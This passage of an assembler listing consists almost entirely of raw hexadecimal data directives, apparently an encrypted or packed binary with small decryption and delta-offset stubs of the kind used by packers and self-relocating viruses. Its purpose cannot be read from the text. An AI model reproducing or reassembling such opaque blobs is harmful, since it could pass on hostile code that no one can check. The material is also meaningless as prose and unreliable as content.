9EB87059h, 1630EACCh dd 412318C1h, 0B79B6D87h, 2E11E3FDh, 0A48A5C76h, 5F0D0EAh dd 0D302CFE2h, 9B35A721h, 5109ECC6h, 0B16B514Bh, 13CBAEACh dd 722C100Eh, 8A9D815Bh, 654ABE20h, 0C0C5703Ah, 1376C3C9h dd 6F0437E7h, 0BCC2BE5Dh, 33CDE0C2h, 31DE4BEAh, 0FBF9FEA9h dd 6E485F19h, 7AC7CD85h, 0D6DB937Ch, 91B79973h, 0BA59436Eh dd 3DE83B29h, 0A0583D37h, 0FEB69D9Bh, 0C07FA1F9h, 0F78186A9h dd 0A6F92E5Ch dd 6BEA3A1h, 248DB0EFh, 5A21D2CBh, 0CD9F0107h, 0E42B30E8h dd 696A5FE8h, 0DEE39D83h, 3D42FCE0h, 0F53895CAh, 8D4499CEh dd 1A986061h, 0A85A65EFh, 70107BFh, 19506A22h, 9DA25A3Fh dd 0C44CA0A6h, 0DE2D5067h, 54CF4D92h, 1BEEA01h, 460D3BE3h dd 2927747Ah, 0A2748E46h, 0C4F007BFh, 1F2DEF33h, 2D7A80C9h dd 0CFB18BCAh, 79971A15h, 8CDFD0D2h, 0E1094386h, 102FCEDDh dd 39EF17E4h, 0C414CD2Ah, 93F43B2h, 3787E87h, 55795CAEh dd 25C97F32h, 0F9A4F7D3h, 0CE6DB3DFh, 0BA9E78B7h, 74E1FC00h dd 4A1145CFh, 0A0FD0144h, 217BD7C5h, 0C3DA853Fh, 8F224584h dd 0E7D845A2h, 0A3189994h, 9F5ED845h, 45A3357Ch, 43EE41D8h dd 4A9F03Dh, 39D845A3h, 0F9257BD8h, 12054014h, 7, 352FB5Ch dd 2B910000h, 0ECA48948h, 0ADD93C41h, 0D8B3BB7Bh, 81305332h dd 0FD29BA22h, 0FFF9FFAAh, 315D621Ah, 0E6C91370h, 3DD142Eh dd 665D621Ah, 0C4836660h, 787D28E2h, 0A9DE3A02h, 0E0C39D54h dd 7B803821h, 0D6D4D984h, 868C37EFh, 0D7F1A98Ch, 63682005h dd 0BFC47C65h, 0F5479CC9h, 2415810h, 2311A0C3h, 1A6D29BAh dd 0BA22921Fh, 9399EC29h, 7DC1631h, 65476085h, 0DBBF91ABh dd 30DE0A21h, 7D3457A3h, 0F9E07AC8h, 2F81A2A6h, 6C712B0Dh dd 77C4CA75h, 0D6DB9579h, 383DF5D8h, 0ED9F573Ah, 564C510Bh dd 6289D429h, 0A286D02Dh, 5897CEE8h, 0E8E39B7Eh, 0E07B50C9h dd 393EF8DAh, 12186B42h, 0A6E8h, 4BD17E00h, 604302E5h dd 1ACA3A8h, 555A05FCh, 9DB77157h, 292EE6CBh, 0BAA0CFE2h dd 4AA7D429h, 49631B00h, 0D4D99377h, 3136F0D6h, 0E23489BEh dd 9F593DFEh, 0FF1A39Ah, 0BE90AA55h, 0B81B20DAh, 35190B8Ch dd 646A8239h, 3F62886Ah, 29BA2B72h, 90EB90Ch, 656A220Bh dd 0C6CB8567h, 7B5EB176h, 0EAD02247h, 0EB95D835h, 5F17FAD4h dd 0E85D635Ah, 9C5D418Bh, 5FC01B9h, 8C6E405Ah, 6457CDD2h dd 0D11B78B5h, 0E41B35EFh, 2AE2CBA5h, 7E332E25h, 0F829BA32h dd 0C2A59FA5h, 0F0BE050Ah, 7629BA32h, 371A6CC1h, 0C66B657Fh dd 464B03ECh, 6C4F494Fh, 0CEB1AFB4h, 2A131116h, 8A6F6D72h dd 812CE4CBh, 76CB147Ch, 69C60F2Bh, 6A843C1Fh, 0BE765933h dd 0A57575B8h, 591729BAh, 5434E22Eh, 0FFFF2147h, 4FD191FFh dd 779AD9F0h, 29BAA13Ah, 8CEBF144h, 5AA53169h, 0AFB4072Eh dd 0D58D724Ch, 4027D9D0h, 868C8388h, 0D2ECA68Ch, 29726F9Bh dd 0EDB7EA4Ch, 4D07EDE7h, 0A9614A48h, 6C0A6A4h, 67210301h dd 267B3062h, 227FB4DBh, 7D674773h, 8F934D31h, 3137F7A0h dd 7D975137h, 60BC5ABh, 0DA32EFBFh, 11C9AE21h, 6D250E0Ch dd 63C0F568h, 767B3519h, 85B8D47Fh, 70CC4ABh, 38950A10h dd 344E08EEh, 833D23FDh, 8781877Eh, 0DCBC8EA1h, 6B382FC6h dd 0CEC5CA82h, 10737823h, 0CE0D90E4h, 0A557F474h, 0B0040AC2h dd 1ED8BC60h, 60772219h, 13B3FE21h, 71CB21DAh, 0DAD1D68Eh dd 0A7CA292Fh, 2679F357h, 48748EE1h, 21445BD8h, 2E5C92CEh dd 0E8C2D92Ch, 51484D05h, 0FC01BB9Fh, 0B4B2FF05h, 2DFF19D1h dd 468D924Ah, 696B0486h, 8BDD32F3h, 4D6F0A8h, 0CE2E0D20h dd 0A7842058h, 535810F5h, 0AEACB15Ch, 100E13CBh, 0A6D722Ch dd 0AAB4CAE7h, 0AF61B4CAh, 0A20A0FC9h, 2A4D0459h, 0CAAAB487h dd 0E1F19CEFh, 35742380h, 0AAB49F12h, 601AFCCAh, 2A303689h dd 0B3B06FCh, 7B17h, 442B6100h, 0BBA0728Ch, 2E17E903h dd 0A88A5C76h, 2002D4EEh, 967A4C66h, 0DF0C2DCh, 83693B55h dd 4C78AFC9h, 0C0E81656h, 20DAC07Eh, 93756F75h, 0DDC8D4D9h dd 5D621A03h, 15136066h, 845E752Fh, 0EAE1E6A0h, 74A197E4h dd 95D4BF1Fh, 161CD4BBh, 0BA99DED3h, 9A7E5829h, 0DEE4DBE0h dd 80526CBFh, 4821E199h, 6A220BE5h, 3E686E65h, 63h, 367EEDD4h dd 7929BAA1h, 1E60F74Ch, 758C442Bh, 835CFB49h, 0A5ABEB1Ch dd 0D48C7143h, 47FFE8BAh, 0BF795B2Dh, 6B4669A8h, 1329BA0Ch dd 2158BAC0h, 3180A3E2h, 4D29BA0Ch, 0BB2FFFAh, 79CC29BAh dd 0DD977973h, 530DF1C3h, 0CC846739h, 40FAE0B2h, 2E15EF26h dd 23DBC476h, 0F721271Eh, 3, 2B66248Dh, 86848943h, 0E3E1E6A0h dd 45434800h, 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh dd 222025DDh, 6D7E833Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h dd 18682424h, 89000078h, 8951240Ch, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 243C895Ch, 65A46856h, 0C15E557Eh, 464E03EEh dd 2DE4EE81h, 0F18902C8h, 8324348Bh, 0EC8304C4h, 24248904h dd 4240483h, 26C1685Fh, 0C890000h, 8478F24h, 52243C8Bh dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 81592434h, 4C4h dd 0DC49E900h, 0AA33FFF8h, 0E7A410B8h, 8BC50307h, 3BE9D3h dd 8B600000h, 0E0084DBDh, 4EF8307h, 0C18BC933h, 0B88320BBh dd 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h dd 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh, 8DC88BC3h dd 0E01E259Dh, 1778B807h, 85890000h, 7E00811h, 0E8h, 0D055800h dd 89000000h, 1778E903h, 5DEh dup(0) dd 8D8D0000h, 7E7BD3Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 7CC35141h, 0B52740F3h, 8B836E95h, 0E001A59Dh dd 0A2F78107h, 894FEA4Ch, 0E018158Dh, 0ED9D8907h, 0C707E005h dd 0E0204985h, 5F0407h, 0D5852B00h, 0C707E020h, 0E022C585h dd 7, 31D88B00h, 0E028DD8Dh, 5DB5FF07h, 6A07E008h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 4967C350h, 0F18AA68Bh, 209195FFh, 6A07E0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 336993C3h dd 8CF1AFD0h, 0BD89D0F3h, 7E001DDh, 95FF006Ah, 7E018A9h dd 1FEBC08Bh, 0F152AE9Dh, 4E1E89F9h, 61B60FAAh, 99ECAA2Dh dd 0D5A8F051h, 37A2C50Ch, 0FF39F9C1h, 0E90E7143h, 2Ah dd 2404C7h, 0E8000000h, 0 dd 70ED815Dh, 8B07E7BDh, 89042444h, 0E0005D85h, 0B807h dd 8D8D0000h, 7E04EE8h, 54B8E1FFh, 8D000067h, 0E7BE2C8Dh dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 89A40C7Eh, 0E018158Dh, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 299B5921h, 85C7F78Bh, 7E02049h, 7098h, 98C0Fh, 0F600000h dd 8Fh, 0C761FC00h, 0E022C585h, 7, 85B58B00h, 0FF07E031h dd 0E012ADB5h, 75BD8B07h, 8907E01Bh, 0E02651B5h, 9195FF07h dd 8907E020h, 0E01A79BDh, 0FF006A07h, 0E018A995h, 0EBC08B07h dd 47F0761Ch, 0B1417EB9h, 0E2D339A5h, 0E2A3C76Ch, 5E93BDCh dd 1CF9EA23h, 235BF286h, 5E8E0h, 0CCDE0000h, 8B3E1EF9h dd 0E01B758Dh, 0BD015A07h, 7E00201h, 6CE4C281h, 0BD8B0000h dd 7E02631h, 2A5069B8h, 65F0810Eh, 0FC0E2A4Bh, 0DB8032FFh dd 8B515EEEh, 0C6815BF8h, 241DBC4Fh, 65B58950h, 5907E022h dd 14D2C681h, 8B603AFAh, 0E02DE185h, 0D68B6607h, 56C68161h dd 8B6D7A39h, 0E02F818Dh, 8B328907h, 0E01471BDh, 30EA8107h dd 0F65FC72h, 0C281FFBFh, 65FC722Ch, 48CBB70Fh, 15850Fh dd 0F9500000h, 30E95Bh, 5B20000h, 544DECBEh, 6AE8D7D1h dd 0F7902A1h, 68Bh, 619D0300h, 0E907E022h, 0FFFFFF84h dd 38D2D02h, 0D62682E6h, 91082AB6h, 0E4C6DE9Ah, 0ED55B248h dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 264191FDh, 266FF7FDh dd 267834FDh, 26F1AAFDh, 263484FDh, 26D772FDh, 26A65BFDh dd 261E38FDh, 264217FDh, 266F52FDh, 26782BFDh, 26F38CFDh dd 2635E9FDh, 26D7CEFDh, 26A6ABFDh, 261C57FDh, 2641BBFDh dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh, 7A5A5CF4h dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 0E37876FDh, 0E0F975A6h dd 7ACB75A6h, 7BE475FDh, 7BF374FCh, 0B29074FCh, 1ABC75F8h dd 0B97CF070h, 0FFA6721Ah, 7D70CAA4h, 0B9F3F070h, 0FF6C721Ah dd 7D15CAE4h, 0B90FF070h, 0FF35721Ah, 7DB9CAA8h, 0B8F9F070h dd 0FF1E721Ah, 7D2CCAE0h, 0B870F070h, 0FF7B721Ah, 7D9ECADCh dd 0BB8FF070h, 0FFD7721Ah, 7DC8CAD8h, 0BBD2F070h, 0FF42721Ah dd 7D02CAD4h, 0BBA9F070h, 0FFF0721Ah, 7D5BCAD0h, 0BBE8F070h dd 0FFA6721Ah, 7D70CAC4h, 0BB49F070h, 0FF6C721Ah, 7D15CACCh dd 0BBD8F070h, 0FF35721Ah, 7DB9CAC8h, 0BB99F070h, 0FF1E721Ah dd 7D2CCAC4h, 0BB15F070h, 0FF7B721Ah, 7D9ECAB4h, 0B8B3F070h dd 0FFD7721Ah, 7DC8CAB0h, 0B8A5F070h, 0FF42721Ah, 7D02CAACh dd 0B889F070h, 0FFF0721Ah, 7D5BCAC0h, 0B8ECF070h, 0FFA6721Ah dd 7D70CABCh, 0B986F070h, 0FF6C721Ah, 7D15CAB8h, 5570F076h dd 0FF35721Dh, 7DB9CA6Fh, 5C12F076h, 0FF1E721Dh, 7D2CCA6Bh dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 9D7CD317h, 3FD525FAh dd 0EBADFDF5h, 22909242h, 7ACFB734h, 29B723ACh, 7A1A20ADh dd 277975FDh, 0BA7B987Ch, 0FFA0721Ah, 7DC8CAE5h, 0C58FC87Dh dd 9CF721Ah, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h, 7D5BCA6Bh dd 2B96FEBDh, 7A2F7A45h, 0EC028AFDh, 0F7CC9242h, 9D5A6C48h dd 0FCC6F8FAh, 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 0ECBA8AFDh dd 0F7909242h, 9D746C48h, 0FCD1F8FAh, 23228A50h, 0F787BC1Fh dd 7D5BCAE5h, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh dd 0E8708A57h, 0D1F59242h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh dd 0EFD0DE9Bh, 7D70CA6Fh, 9208DE9Bh, 7AE57795h, 72F3360Bh dd 0EF866E88h, 7D5BCA6Fh, 7954C54Dh, 0E8BA8AADh, 20909242h dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h, 207975FFh dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh, 0BA07F5DFh dd 85B5FF4Dh, 9D4DE768h, 5F1F2FFAh, 71DA51FDh, 0B9F5133Fh dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7D9ECA6Bh dd 0C5E1C070h, 8A5D721Ah, 0D02C7F51h, 0C505E002h, 9208721Ah dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h, 923C2257h dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 7D2CCAF2h, 0C5EAC87Dh dd 0FF3721Ah, 0FBFCF8ECh, 2ABB9242h, 7A5C6115h, 781B9DFDh dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch dd 7D5BCAF2h, 0C551C87Dh, 0F2F721Ah, 0FB12F8F1h, 2ACC9242h dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 9D03E368h, 0A4C3F8FAh dd 0F028923Eh, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh dd 0F9BB5E3Ah, 78357115h, 0E8CB8A3Eh, 0CE289242h, 0E96514Ah dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7D2CCA6Fh, 0FAEA917Dh dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h dd 0B995FCF9h, 7ACB7345h, 0EC708AFDh, 0F7F59242h, 9DC60060h dd 39A0F8FAh, 7A4ECD3Eh, 0EFD075FDh, 7D70CA6Bh, 0F1CEB57Eh dd 0EF1A8935h, 7D15CA6Fh, 0B98E9757h, 8543BE15h, 7B1DFF02h dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 9DEC9B17h, 86EAFCFAh dd 0C55ACF7Dh, 75E5721Ah, 7AF2EC79h, 7A73CDFDh, 0E84375FDh dd 7DB9CA6Bh, 0E0ADFCBDh, 0F1909242h, 0B879F835h, 85E29239h dd 9D4DE76Fh, 3C7FFDFAh, 6D04801Fh, 795E75FDh, 9D90EF7Fh dd 0E01A35FAh, 7D2CB14Bh, 0F3E1B67Eh, 644B22FEh, 797975FDh dd 9D03EF77h, 0DEECF8FAh, 89289239h, 722F2B59h, 85CB75FDh dd 9D5AE36Fh, 7E0AF6FAh, 7C718589h, 7ABC7244h, 4B5A7DFDh dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h dd 90162FFDh, 7D2CB128h, 0C57BCF70h, 0F79721Ah, 7A71CCF5h dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7D70CA63h, 7BD3497Dh dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh dd 9DEA7B17h, 0E425F8FAh, 0F1CC9242h, 725C7D80h, 89F275FDh dd 0B8B01459h, 0F7DC75F9h, 9DE1EB40h, 0C3EF46FAh, 7A9775F5h dd 0B9AADF0Eh, 0E458F89Dh, 0FBF59242h, 7B7874C2h, 0FBB000FCh dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch, 9D5AEB40h dd 7AF3CDFAh, 72C075FDh, 89BC75FDh, 0F19D1457h dd 0F7EFFE3Dh, 9D28DE78h, 8BD08AFAh, 0EE8CAh, 61290000h dd 44A0E49Eh, 89E25E7Ch, 0CDD92991h, 8D0F60h, 0E9000000h dd 0Fh, 2A9569DDh, 0E5B396D5h, 0DE88D87Bh, 61ECE0E4h, 0EC80575Ah dd 0C2815B63h, 0EB1Ch, 0EE9h, 0E58CA300h, 698F4CBEh, 16B7BA17h dd 0B98A2C1Fh, 3A95h, 0CCB80FBEh, 5F32FF23h, 7E9h, 37D00B00h dd 0E769FF5Fh, 6C2DC781h, 0EB81081Ch, 558B0926h, 0BB1BEF81h dd 12E863C1h, 0AA000000h, 0F0367D3Ch, 0F87C1E87h, 0CD5C865Eh dd 290DBA75h, 9B8664Dh, 0C7815872h, 2CCFC56Fh, 57DFBF0Fh dd 69F9BB66h, 0B70F028Fh, 0F1EA81DFh, 6672D82Dh, 0C281F78Bh dd 72D82DEDh, 80B8D681h, 0E98113DEh, 1, 0FF8F850Fh, 0F60FFFFh dd 0B70FD7BFh, 1EE961C3h, 45000000h, 31B362h, 6 dup(0) dd 0E0BE900h, 8B680000h, 0E907E7C8h, 0FFF8BA5Bh, 0E7C99168h dd 0BA51E907h, 6368FFF8h, 0E907E7CAh, 0FFF8BA47h, 0E7CAF568h dd 0BA3DE907h, 7168FFF8h, 0E907E7CEh, 0FFF8BA33h, 0E7D1B968h dd 0BA29E907h, 0C668FFF8h, 0E907E7D2h, 0FFF8BA1Fh, 2B45FFE7h dd 0A0BA7259h, 1731E9CEh, 8AA45C45h, 21CD6B8h, 2D0F04ADh dd 0A3875973h, 1AFDCFE9h, 90764862h, 0F1DCBCD6h, 0D2DAE3CEh dd 8F299B21h, 8A8F492Bh, 0D7F1A98Ch, 29E1C6A0h, 0E241CF23h dd 0BD6EA8CBh, 75C82E5Ah, 84842970h, 58B921DAh, 0FA79A5FBh dd 8BB753D4h, 1A8FE4h, 0F97D832Dh, 35h, 0F04FD143h, 8E0CB6D9h dd 38922E5Ah, 0EBF09B53h, 0DA7209A4h, 7ED33421h, 50899BC7h dd 0A5C2E2B5h, 0D96D999Fh, 7FAB53D4h, 12FBCDC3h, 0B8F95F6h dd 7, 908FB55h, 0C6910000h, 0A14D6487h, 0CF2929BAh, 342B30E8h dd 0A3898389h, 0E6E4E9h, 10002C46h, 25D9FC13h, 332E5AA7h dd 353AF2D9h, 2B8E933Eh, 50CB66FFh, 0DD8FCD38h, 443B40F8h dd 8DB2FB3Eh, 2A8B21DAh, 0F54B77D5h, 2C6453D4h, 0AE000000h dd 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h, 0FD52B321h dd 0D4EB639Fh, 0EED7B153h, 8D924A2Fh, 0EFE6EB96h, 11265E9h dd 0C6AF0000h, 0A14D6487h, 654E29BAh, 7D83D6ADh, 0F5DC9D83h dd 2A8D923Dh, 0DE84FEh, 255E621Ch, 0DA4A889h, 25743A4h dd 6E504A50h, 204CAFB4h, 4178484Eh, 3016C817h, 747A7176h dd 0C3DA947Ah, 464C04E9h, 0D5BC96F9h, 371D171Dh, 8548637Dh dd 1629BA4Ah, 8A5C7630h, 3BFAE3A4h, 0A2999E56h, 0EF474CF7h dd 0C8EB0221h, 2E5A21FAh, 0CFE20544h, 0A721DA21h, 702F4E54h dd 0DA22644Dh, 0FAB7DA21h, 8421DA21h, 3075A31h, 0AD9AC0B4h dd 536D1835h, 233AF927h, 0A8AD6749h, 294CABB1h, 2677A026h dd 0EB2A4194h, 5F8EF7BFh, 7D83997Ch, 0CDE7A183h, 865F19FBh dd 0E60E6B8Ah, 4C88B69Fh, 0B600000Bh, 28FA14CEh, 9D6F8941h dd 14E600B8h, 8759732Bh, 7CD1EBA5h, 42FCDE53h, 0B8725628h dd 31E9CC9Eh, 0A55F4517h, 9DC0AB8Bh, 21D2D914h, 2B5EF86Ah dd 0EBA38849h, 6B2796E6h, 73606061h, 0DA061DC8h, 5781F7EFh dd 68CAD03Ch, 3E9DB096h, 95B56807h, 8D87A14Ch, 7C8D9AC6h dd 0B2142D9Fh, 6BC858ACh, 0B3D61554h, 29BA44FEh, 0EB0E2578h dd 29BA44C6h, 14575DB0h, 2E5A43DEh, 79C0C518h, 21DA4434h dd 9C4BA809h, 93B6DCC2h, 21DA441Eh, 545A0558h, 0D4B7104Eh dd 0C03B53h, 2B850000h, 88868B45h, 0A0E7ECA6h, 29BAA52Dh dd 688C6F49h, 0BA9D6C45h, 14BF1229h, 742E140Eh, 0E8A2885Ah dd 5C14F7D1h, 0A85E9E58h, 979D7A0Ah, 112EF24Ah, 823C20FAh dd 2180867Dh, 59C5C4FEh, 0CDE73A2Eh, 19DABC96h, 81787D37h dd 947CD0D6h, 15D8097h, 7726777Dh, 51330D24h, 0C9AB7D97h dd 2D40360Fh, 7059E60Eh, 0A4642h, 1AD4BC00h, 8F472E00h dd 6BEA375h, 79311AECh, 0F1AB8D5Fh, 0E45982D7h, 5C2E4802h dd 0D2A4BE78h, 4B1D37EFh, 0B191AB65h, 0D80EA3C6h, 0F66821D2h dd 23492B5Ch, 0A0F0C1E4h, 338629BAh, 0BAA07938h, 0AEB20529h dd 677662CCh, 0F50FBA8Bh, 9A7C3D23h, 39E4DBE0h, 452B251Fh dd 0B59A748Bh, 0D0F99EA4h, 8C378FA0h, 3D8A9087h, 621C00DAh dd 0C27C625Ch, 0A8F25EA8h, 65A4BB78h, 0DC465F39h, 0B9EAF8B9h dd 272B7E29h, 8086DB01h, 5A0D293Dh, 570C5F2Eh, 9EF37C70h dd 0D453BD78h, 0DA009ABDh, 23768034h, 898FBB1Eh, 992AA5DCh dd 0BD63B7BDh, 9144677Eh, 0F584947Dh, 0CBB18BA2h, 81C0F711h dd 9483535Eh, 0D2D82B7Bh, 5F38F2D8h, 9432296Fh, 7475A38Ch dd 8E000009h, 0D2ECA6h, 75476119h, 0ECBED890h, 5F314B03h dd 54A9C37Dh, 1AD4B66Bh, 904A2E00h, 9C1A476h, 7D371DEFh dd 75988363h, 21D2D73Ch, 2B36D042h, 2E868B45h, 0A35B3EE2h dd 921C4E9Eh, 89DBF626h, 0F91C33DEh, 2E5A8A39h, 4800E53Fh dd 8AA14C43h, 0FB15CDB0h, 898E4629h, 0DA826F42h, 91CAE321h dd 0A97721DAh, 91B6FB1Eh, 1E521DAh, 721D7047h, 951A385Bh dd 51A4267Ah, 82C50E3Ah, 2BF9DEFh, 0CBB1AFFCh, 7A5E3811h dd 866FE60Ch, 8E258h, 7E382000h, 0F3AB9264h, 6A2207D9h dd 0DD957E50h, 550FF1C3h, 48FDE63Bh, 0C092AC66h, 360822DCh dd 0AF819B53h, 15F50FC9h, 0D6AA072Ah, 62D421D2h, 0AECC6C8h dd 3D544B50h, 0BAA0971Ah, 868CDF29h, 3A51EE32h, 5AA43B17h dd 5B72C52Eh, 0DBE09881h, 9391DEE4h, 3DDF4ACh, 6A61661Eh dd 49300264h, 0EA298C91h, 0DA9CEAC7h, 18D0B921h, 0F2451C13h dd 0AD8A98ECh, 9D167396h, 0BD1021DAh, 7FABC2B8h, 26F805CEh dd 0FE73791Bh, 0B87057A1h, 3C2A839Eh, 320C21DAh, 9B92974Fh dd 57DD4195h, 0BBB2B771h, 0BFD6F910h, 0B721DA3Bh, 39134A64h dd 7EB9D57h, 4B51484Dh, 9BB26A51h, 1D71216Fh, 87398AB6h dd 94E1E7A1h, 0D9A6784Dh, 752F1321h, 0D78F7270h, 37EFD4D2h dd 0F6399657h, 78C21F4Ch, 88BFD991h, 0F70EC8AEh, 0D9A5DDD4h dd 40469921h, 0A2A75F46h, 0D9A6025Bh, 0FF548121h, 0F40EC6ADh dd 4DD991BDh, 0C728BE1h, 0CF6CB206h, 40FADEB8h, 0DF3E443Bh dd 733E61A0h, 0B21D9B7h, 3F6FB2B8h, 3921D9B7h, 0BC9AE1E6h dd 155FADAh, 0B1ED43A0h, 0DA27B568h, 1E1h, 0F04FD124h dd 0C46E9AD9h, 65B7EE8Ah, 1991D4DAh, 4F2E598Ah, 83A6E5FCh dd 21D9CA2Eh, 4F07EE48h, 3F9EA4h, 80324326h, 1163BAA5h dd 7F767B26h, 0DF997F79h, 55F79CC8h, 0F02BA729h, 9CA25C3Eh dd 0C882683Ah, 38F0D7B1h, 5682E532h, 775D4861h, 2623B9BDh dd 341B5E64h, 0E7A71B9Eh, 45434800h, 0A99FA45Ch, 0B5DC277Ch dd 0F3D92380h, 466B8ECDh, 30A913E1h, 0E0CFE2DDh, 54A7A913h dd 7E588FA9h, 8ADADF97h, 32353B0Bh, 0A4AA558Bh, 0F30AC4AAh dd 787E3619h, 0F04FD32Bh, 0F71B04D6h, 1427DDD4h, 944699A9h dd 484DF8B2h, 90AA644Ah, 191ED8BEh, 899B0DD2h, 6BC8FDDAh dd 67813B21h, 0F0F5AF95h, 96AD8A98h, 8DD53E73h, 0CEE53837h dd 50550DF4h, 0BAF15359h, 1BBA17Bh, 8DD4AB06h, 7A80D337h dd 0DFE49E80h, 971A3D7Ch, 0DF378DD4h, 0EC32868Ch, 0CDF9384Fh dd 8A9EE594h, 0B4F7FD3Bh, 378E6F01h, 8B452B85h, 0EF4C6E0h dd 6F514F54h, 0CBB2B0B5h, 2E100E13h, 8C716F74h, 0E439EED4h dd 99D8EF99h, 8E6F3B76h, 0EAF04337h, 0E8CE1875h, 5C42142Eh dd 0D9459DA2h, 0C7B07153h, 68130A0Fh, 0E7CCA6BDh, 0A7CA292Fh dd 378E6F12h, 2802196Ch, 25878D45h, 0AEB36D53h, 2A0ECDB0h dd 0C9746B70h, 20DFC6C4h, 0D5DA853Dh, 353AF2D7h, 9B9EF3E5h dd 694932DEh, 90AF4BA8h, 0E34AAEFCh, 0F1B2923Dh, 0A3644A9Ch dd 0ADFD02BAh, 80F1A439h, 0BD681336h, 31EBD1A3h, 0F14ED42Ch dd 96E6B7DAh, 5630378Eh, 90AFB56Dh, 6E51233Dh, 86609FB6h dd 0EBE2E79Fh, 8E96C1F0h, 646ABD37h, 0CD53BF17h, 8B4328E9h dd 39E4DBE0h, 4C58F622h, 0F9AF472h, 916BAA09h, 0A8EBF1ABh dd 378DCAF9h, 715A1945h, 0E73E5084h, 556FC2E1h, 8B452B5Bh dd 5CDB4571h, 840C2245h, 176A2E5Ah, 8B432600h, 0B9CC4874h dd 7E7C3B7Ah, 0B3DF1678h, 0B863D3DBh, 3F393F54h, 479FA45Ch dd 20435AD9h, 2679F712h, 0CD14196Ch, 29BA08E0h, 6980BF61h dd 59ED0C46h, 0C606322Eh, 0FAD900E8h, 0D82B4A50h, 854470D3h dd 0B393AB34h, 0EF4EEF4h, 48A77B54h, 0D3BCEDECh, 566A5h dd 0FAB49C00h, 6F270EE0h, 0E69E8355h, 5911FACCh, 0D18B6D3Fh dd 0C47962B7h, 3C0E28E2h, 0B2849E58h, 2BFD17CFh, 91718B45h dd 0D32E83A6h, 0D64821D2h, 0E09AC63Ch, 65810A1Ah, 66AAFE04h dd 5073B2C9h, 29BA8361h, 50DC66F0h, 0CBA2B83Fh, 2AE4C678h dd 5CA2C524h, 9A2E59FFh, 0F279385Bh, 0B20521D9h, 657DCBAEh dd 0DCE246E1h, 27536ABDh, 1C3FAB14h, 21D9A995h, 2A8A8EE1h dd 5AA7ADF1h, 0DA5F9B13h, 7F59A421h, 0E4DBE098h, 0B61469DEh dd 53D4A788h, 4B6689C8h, 3321DA58h, 0D13CDCE0h, 0A7793C52h dd 0B11DA1h, 0E2670000h, 29BAA09Bh, 19FF89C7h, 0B8BD7558h dd 0D0FC16C1h, 0AACDE441h, 29BAA10Fh, 110F1467h, 0CF876A2Bh dd 0A11C95B8h, 0F6229BAh, 0F31E4A64h, 19F671D9h, 7D2890BFh dd 2FFB2766h, 0CE24FFF5h, 1AD2B96Bh, 0EAE8D114h, 449E29B9h dd 0ABA2A75Fh, 0EB407194h, 